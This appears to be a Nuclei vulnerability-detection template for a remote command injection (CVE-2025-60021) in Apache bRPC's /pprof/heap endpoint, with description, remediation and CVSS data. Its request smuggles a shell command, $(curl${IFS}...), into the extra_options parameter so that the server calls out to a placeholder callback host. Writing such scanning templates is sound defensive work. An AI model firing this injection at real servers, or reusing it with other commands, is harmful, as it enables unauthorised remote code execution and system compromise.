CVE-2025-60021: Apache bRPC Heap Profiler - Remote Command Injection

id: CVE-2025-60021

info:
  name: Apache bRPC Heap Profiler - Remote Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Apache bRPC versions before 1.15.0 contain a remote command injection vulnerability in the heap profiler built-in service (/pprof/heap). The extra_options query parameter is concatenated directly into a shell command string passed to popen() without any validation or sanitization, allowing unauthenticated attackers to execute arbitrary OS commands on the server. The display parameter must be set to text, svg, or flamegraph to reach the vulnerable code path, and jemalloc profiling must be active (MALLOC_CONF=prof:true).
  impact: |
    Successful exploitation allows unauthenticated remote code execution with the privileges of the bRPC server process, potentially leading to complete system compromise, data exfiltration, and lateral movement.
  remediation: |
    Upgrade Apache bRPC to version 1.15.0 or later, which introduces a whitelist of valid profiler options (inuse_space, inuse_objects, alloc_space, alloc_objects, show_bytes, drop_negative, total_delay, contentions, mean_delay). Alternatively, restrict network access to built-in service endpoints.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-60021
    - https://github.com/apache/brpc/pull/3101
    - https://lists.apache.org/thread/xy51d2fx6drzhfp92xptsx5845q7b37m
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-60021
    epss-score: 0.25711
    epss-percentile: 0.97994
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,brpc,apache,rce,oob,oast,oss,vkev

http:
  - raw:
      - |
        GET /pprof/heap?display=text&extra_options=$(curl${IFS}{{interactsh-url}}/{{randstr}}) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "JEPROF_FILE"

      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or
# digest: 4b0a00483046022100efc3330177f06a3bab0a9e5bb5b88528b9cbb93e3ac0952a7e64edbe15d8d684022100a5ca1dfa2ca83a533cae1672a446e41fc03f020d975ea2bc6fcc641ab5b99b69:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.